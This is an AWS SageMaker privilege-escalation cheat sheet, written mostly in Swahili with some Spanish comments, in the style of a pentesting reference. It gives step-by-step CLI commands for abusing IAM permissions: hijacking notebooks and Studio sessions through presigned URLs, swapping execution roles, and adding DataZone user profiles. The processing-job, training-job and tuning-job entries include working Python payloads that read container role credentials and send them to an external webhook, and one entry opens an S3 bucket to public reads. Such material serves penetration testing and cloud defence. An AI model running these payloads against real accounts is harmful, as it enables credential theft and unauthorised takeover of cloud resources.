AWS - Sagemaker Privesc

Reading time: 15 minutes

AWS - Sagemaker Privesc

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Anza kuunda noteboook ukiwa na IAM Role iliyounganishwa ili kupata access yake:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

Majibu yanapaswa kuwa na uwanja wa NotebookInstanceArn, ambao utakuwa na ARN ya notebook instance iliyoumbwa hivi karibuni. Baadaye tunaweza kutumia API ya create-presigned-notebook-instance-url kuunda URL ambayo tunaweza kutumia kufikia notebook instance mara itakapokuwa tayari:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Nenda kwenye URL kwa kutumia kivinjari na bonyeza Open JupyterLab upande wa juu kulia, kisha shuka chini hadi kichupo cha “Launcher” na chini ya sehemu ya “Other”, bonyeza kitufe cha “Terminal”.

Sasa inawezekana kupata metadata credentials za IAM Role.

Athari Inayowezekana: Privesc to the sagemaker service role specified.

sagemaker:CreatePresignedNotebookInstanceUrl

Ikiwa kuna Jupyter notebooks tayari zinakimbia juu yake na unaweza kuziorodhesha kwa sagemaker:ListNotebookInstances (au kuzibaini kwa njia nyingine yoyote). Unaweza kuunda URL kwao, kuzifikia, na kuiba credentials kama ilivyotajwa katika mbinu iliyotangulia.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Athari Inayoweza Kutokea: Privesc kwa sagemaker service role iliyohusishwa.

sagemaker:CreatePresignedDomainUrl

Kitambulisho chenye ruhusa ya kuita sagemaker:CreatePresignedDomainUrl kwenye Studio UserProfile lengwa kinaweza kutengeneza URL ya kuingia inayothibitisha moja kwa moja ndani ya SageMaker Studio kama profile hiyo. Hii inampa kivinjari cha mshambuliaji kikao cha Studio kinachoirithisha ruhusa za profile za ExecutionRole na upatikanaji kamili wa home ya profile iliyounganishwa na EFS na apps. Hakuna iam:PassRole au ufikiaji wa console unahitajika.

Mahitaji:

• SageMaker Studio Domain na UserProfile lengwa ndani yake.
• Mhusika (principal) wa mshambuliaji anahitaji sagemaker:CreatePresignedDomainUrl kwenye UserProfile lengwa (kwa kiwango cha rasilimali) au *.

Mfano wa sera ya chini kabisa (scoped to one UserProfile):

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}

Hatua za Matumizi Mabaya:

1. Orodhesha Studio Domain na UserProfiles ambavyo unaweza kulenga

DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>

2. Angalia kama unified studio haitumiki (shambulio linafanya kazi tu kwenye domaini za kawaida za SageMaker Studio)

aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work

3. Tengeneza presigned URL (inayofanya kazi kwa takriban ~5 dakika kwa chaguo-msingi)

aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text

4. Fungua URL iliyorejeshwa kwenye kivinjari ili kuingia kwenye Studio kama mtumiaji lengwa. Katika terminal ya Jupyter ndani ya Studio thibitisha utambulisho wa ufanisi au exfiltrate the token:

aws sts get-caller-identity

Vidokezo:

• --landing-uri inaweza kutowekwa. Baadhi ya thamani (mfano, app:JupyterLab:/lab) zinaweza kukataliwa kulingana na flavor/version ya Studio; defaults kawaida zinaelekeza kwanza kwenye home ya Studio kisha kwenda Jupyter.
• Sera za shirika/VPC endpoint restrictions zinaweza bado kuzuia upatikanaji wa mtandao; utengenezaji wa tokeni hautaji kuingia kwenye console au iam:PassRole.

Athari Inayoweza Kutokea: Mwendo wa upande na kuongezeka kwa idhini kwa kutokea kama UserProfile yoyote ya Studio yenye ARN iliyoruhusiwa, ukirithi ExecutionRole yake na filesystem/apps zake.

sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments

Kitambulisho chenye ruhusa ya kuita sagemaker:CreatePresignedMlflowTrackingServerUrl (na sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments kwa upatikanaji wa baadaye) kwa lengo la SageMaker MLflow Tracking Server kinaweza kutengeneza presigned URL ya matumizi moja inayothibitisha moja kwa moja kwa MLflow UI iliyosimamiwa kwa server hiyo. Hii inatoa upatikanaji sawa na mtumiaji halali angekuwa nayo kwa server (kuona/kutengeneza experiments na runs, na kupakua/kupakia artifacts katika S3 artifact store ya server).

Mahitaji:

• SageMaker MLflow Tracking Server katika account/region na jina lake.
• Msemaji wa mshambuliaji anahitaji sagemaker:CreatePresignedMlflowTrackingServerUrl kwenye rasilimali ya lengo la MLflow Tracking Server (au *).

Hatua za matumizi mabaya:

1. Orodhesha MLflow Tracking Servers unazoweza kulenga na chagua jina moja

aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>

2. Tengeneza presigned MLflow UI URL (itakayokuwa halali kwa muda mfupi)

aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text

3. Fungua URL iliyorejeshwa katika kivinjari ili kufikia MLflow UI kama mtumiaji aliyeidhinishwa kwa Tracking Server hiyo.

Athari Inayoweza Kutokea: Ufikiaji wa moja kwa moja wa MLflow UI iliyosimamiwa kwa Tracking Server lengwa, unaowawezesha kuona na kubadilisha experiments/runs, pamoja na kupata au kupakia artifacts zilizohifadhiwa katika S3 artifact store iliyosanidiwa kwenye server, kwa mujibu wa ruhusa zinazotekelezwa na usanidi wa server.

sagemaker:CreateProcessingJob, iam:PassRole

Mshambuliaji mwenye ruhusa hizo anaweza kusababisha SageMaker iendeshe processing job ikiwa na role ya SageMaker imeambatishwa. Kwa kutumia tena mojawapo ya AWS Deep Learning Containers ambayo tayari ina Python (na kwa kuendesha job katika eneo sawa na URI), unaweza kuanzisha code inline bila kuunda images zako mwenyewe:

REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'

aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN

# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.

Athari Inayoweza Kutokea: Privesc kwa sagemaker service role iliyotajwa.

sagemaker:CreateTrainingJob, iam:PassRole

Mshambuliaji akiwa na ruhusa hizo anaweza kuanzisha training job ambayo inatekeleza msimbo wa hiari kwa kutumia role iliyotajwa. Kwa kutumia container rasmi ya SageMaker na kubadilisha entrypoint kwa payload inline, hauhitaji kujenga images zako mwenyewe:

REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.

aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"

# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.

Athari Inayoweza Kutokea: Privesc kwa role ya huduma ya SageMaker iliyotajwa.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

Mshambuliaji mwenye ruhusa hizo anaweza kuanzisha HyperParameter Tuning Job ambayo itaendesha msimbo unaodhibitiwa na mshambuliaji chini ya role iliyotolewa. Script mode inahitaji kuhifadhi payload katika S3, lakini hatua zote zinaweza kuendeshwa kiotomatiki kupitia CLI:

REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION

# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'

aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"

cat <<'EOF' > /tmp/train.py
import os, time, urllib.request

def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)

if __name__ == "__main__":
main()
EOF

cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read

echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read

IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.

cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF

aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json

Kila mafunzo unaozinduliwa na mchakato huchapisha kipimo na hutoa kwa siri kredensiali za role iliyotajwa.

sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

Kwa ruhusa ya kusasisha SageMaker Studio User Profile, kuunda app, presigned URL kwa app na iam:PassRole, mshambuliaji anaweza kuweka ExecutionRole kwa role yoyote ya IAM ambayo service principal ya SageMaker inaweza kuikubali. Apps mpya za Studio zinazozinduliwa kwa profile hiyo zitaendeshwa kwa role iliyobadilishwa, zikitoa ruhusa za kuongezwa za kiingiliano kupitia Jupyter terminals au jobs zinazozinduliwa kutoka Studio.

Hatua:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>


# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Potential Impact: Privilege escalation kwa ruhusa za execution role ya SageMaker iliyotajwa kwa interactive Studio sessions.

sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

Kwa ruhusa za kubadilisha SageMaker Studio Domain, kuunda app, presigned URL kwa app, na iam:PassRole, mshambuliaji anaweza kuweka default domain ExecutionRole kuwa IAM role yoyote ambayo SageMaker service principal inaweza assume. Apps mpya za Studio zinazozinduliwa kwa profaili hiyo zitaendeshwa kwa role iliyobadilishwa, zikitoa ruhusa zilizoinuliwa kwa njia ya kiingiliano kupitia terminal za Jupyter au jobs zinazozinduliwa kutoka Studio.

Hatua:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated

# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Athari Inayowezekana: Kupandishwa kwa cheo (privilege escalation) hadi ruhusa za SageMaker execution role zilizotajwa kwa vikao vya Studio vinavyoshirikiana.

sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl

Mshambulizi mwenye ruhusa ya kuunda app ya SageMaker Studio kwa UserProfile lengwa anaweza kuanzisha app ya JupyterServer inayotumia ExecutionRole ya profile. Hii inatoa upatikanaji wa kiingilizi kwa ruhusa za role kupitia terminal za Jupyter au jobs zinazoanzishwa kutoka Studio.

Hatua:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc

# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity

Athari Inayoweza Kutokea: Ufikiaji wa kuingiliana kwa execution role ya SageMaker iliyounganishwa na UserProfile lengwa.

iam:GetUser, datazone:CreateUserProfile

Mshambuliaji mwenye ruhusa hizo anaweza kumpa mtumiaji ufikiaji wa IAM ndani ya Sagemaker Unified Studio Domain kwa kuunda DataZone User Profile kwa mtumiaji huyo.

# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json

# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER

URL ya Unified Domain ina muundo ufuatao: https://<domain-id>.sagemaker.<region>.on.aws/ (kwa mfano https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).

Athari Inayowezekana: Ufikiaji wa Sagemaker Unified Studio Domain kama mtumiaji, ikimruhusu kufikia rasilimali zote ndani ya domain ya Sagemaker na hata kuinua vibali hadi role inayotumiwa na notebooks ndani ya Sagemaker Unified Studio Domain.

Marejeo

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/